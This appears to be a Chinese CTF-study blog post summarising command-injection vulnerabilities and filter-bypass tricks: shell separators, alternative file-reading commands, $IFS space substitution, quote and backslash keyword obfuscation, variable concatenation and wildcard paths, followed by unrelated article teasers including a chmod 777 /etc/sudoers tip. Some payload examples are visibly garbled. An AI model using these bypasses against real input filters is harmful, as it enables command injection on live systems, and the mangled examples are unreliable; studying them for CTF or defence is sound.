总结,复习,整合命令执行漏洞实现及其绕过(绕过方式大全)

news/2024/7/5 2:03:35

🏆今日学习目标:
🍀1复习一下以前的内容
🍀2总结整合一下过滤方法
✅创作者:贤鱼
🎉个人主页:贤鱼的个人主页
🔥专栏系列:网络安全
⏰如果有需要可以阅读前两章
25分钟了解命令执行漏洞【例题+详细讲解】(一)
25分钟了解命令执行漏洞【例题+详细讲解】(二)

请添加图片描述

命令执行漏洞

  • 🍀复习内容:
    • 漏洞原理
    • 思路
    • 实现过程
  • 🍀🍀绕过过滤方法大融合
        • Linux中的连接符
        • 查看文件的命令
        • 绕过空格方式
        • 绕过关键字
        • 过滤全部字符
        • 构造数字

🍀复习内容:

漏洞原理

控制可执行系统命令的函数

思路

控制函数,寻找flag,并且根据其对应过滤内容绕过过滤

实现过程

通过ls和ls /查看当前目录下以及根目录,通过cat,tac等打开flag

🍀🍀绕过过滤方法大融合

Linux中的连接符

大部分题目中都带有如下内容或者与其作用相似的,我们为了执行命令必须让下面这段代码失去作用
在这里插入图片描述
这里就需要介绍到连接符了,具体内容可以查看以往两期,这里我们重在总结:

连接符

cat flag.php;ls
👆执行完cat,再执行ls
cat flag.php&&ls
👆cat成功执行再执行ls
cat flag.php||ls
👆cat执行失败执行ls
cat flag.php|ls
👆将flag的内容作为第二个命令的输入
cat flag.php ‘cat love xianyu’
👆先执行单引号内内容,将结果作为命令的一部分
cat flag.php$(cat love xianyu)
👆先执行¥()内内容,将结果作为命令的一部分

查看文件的命令

如果遇到了过滤可以相互替换

命令(使用方法):
cat (cat flag.php)
tac (tac flag.php)
more (more flag.php)
less (less flag.php)
head (head flag.php)
nl (nl flag.pgp)
od(od -c flag.php)
vi (vi flag.php)
vim (vim flag.php)
sort (sort flag.php)
uniq (uniq flag.php)
file (file -f flag.pgp)
grep (grep flag.php)
paste (paste flag.php)
xxd (xxd flag.php)

绕过空格方式

cat flag.php
cat$IFSflag.php

cat$IFS$1flag.php

cat${IFS}flag.php

绕过关键字

有时候会过滤掉类似flag的关键字,可以通过一下方式绕过

flag
fl’a’g单引号
fl"a"g双引号
fl\ag反斜杠
fl$@ag¥@

也可以拼接字符

a=c;c=t;d=a; a a ad$c拼接完就是cat

a=f;c=a;d=g;b=l;cat$IFS 1 1 1a b b bc$d.phpabcd拼接出来flag

过滤全部字符

/bin/base64
/???/???64 ???

构造数字

echo $(())
0
echo ( (   ((~ (( (())))
-1
echo ( (   ((~ (( (()))) ( (   ((~ (( (()))) ( (   ((~ (( (())))
-1-1-1
echo ( ( (( (((($(())))$(( ( ( ) ) ) ) (()))) (())))((~$(())))))
-3
echo ( (   ((~ (( (( ( (   ((~ (( (()))) ( (   ((~ (( (()))) ( (   ((~ (( (())))))))
2

🏆结束语
贤鱼依旧会不定期更新已有内容,并且会继续更新新的内容,还请大家继续关注支持贤鱼!!!
请添加图片描述


http://lihuaxi.xjx100.cn/news/3634.html

相关文章

centos7给普通用户添加yum权限办法

首先,创建一个新账号(注意,用户名必须全部小写): useradd -m test111 passwd test111 之后在root账号下修改sudoers ll /etc/sudoers chmod 777 /etc/sudoers 在 root ALL(ALL) ALL 下添加 test111 ALL(ALL) ALL 如果…

Ims通话流程分析

Ims 是3GPP提出的概念,全称为IP Multimedia Subsystem(ip多媒体子系统),是为了满足IP多媒体业务的需求,基于PS域的一个子系统。 WCDMA网络从R99版本开始,与2G/2.5G网络相比,最大的变化在于空口技术的改变,…

[项目管理-27]:任务的目的,背后的原因是任务实施首要思考的问题。

案例 无论是一个项目,还是一项任务,在实施之前,弄清楚原因,是项目经理必须有的思维模式,而不是无条件的盲目的执行。只有弄清楚目的和原因,才能在执行过程中,遇到问题时,发挥主观能…

Framework之ViewPager2原理与使用

布局管理器允许左右翻转带数据的页面,你想要显示的视图可以通过实现PagerAdapter来显示。这个类其实是在早期设计和开发的,它的API在后面的更新之中可能会被改变,当它们在新版本之中编译的时候可能还会改变源码。 ViewPager经常用来连接Fragm…

【nowcoder】统计回文、连续最大和

统计回文 统计回文 判断回文: 写一个判断是否回文的函数,每次调用函数判断将字符串逆置,如果逆置完和之前是一样的,就是回文的 思路: 找到合适的位置进行插入 判断回文 不要在str1里插入,这样会使str…

从0到1搭建大数据平台之数据计算

文章目录前言一、传统的数据计算二、Hadoop的崛起三、离线计算MapReduceHiveSparkSQL四、 实时计算Spark StreamingFlink总结前言 大家好,我是脚丫先生 (o^^o) 之前有说过「从0到1搭建大数据平台之数据存储」,想必小伙伴还有印象。 既然大数据平台有了…

【JavaWeb】JSP学习笔记

文章目录1 JSP1.1 什么是JSP1.1.1 JSP的发展历程1.2 JSP的快速入门1.2.1 引入依赖1.2.2 创建jsp文件1.2.3 编写JSP代码1.3 JSP脚本(很少用)1.3.1 JSP脚本的作用1.3.2 JSP脚本的分类1.3.3 JSP脚本的截断1.4 JSP的缺点2 EL和JSTL2.1 EL2.1.1 什么是EL2.1.2 Java Web 四大域对象2.…

Java筑基32-IO流02-节点流处理流

目录 节点流和处理流 1.处理流设计模式 2. IO流设计模式-装饰器模式模拟 3. BufferedReader & BufferedWriter 4. Buffered拷贝(字符文件) 5. Buffered字节处理流 6.Buffered拷贝(字节文件) 7.对象处理流 8.标准输入输…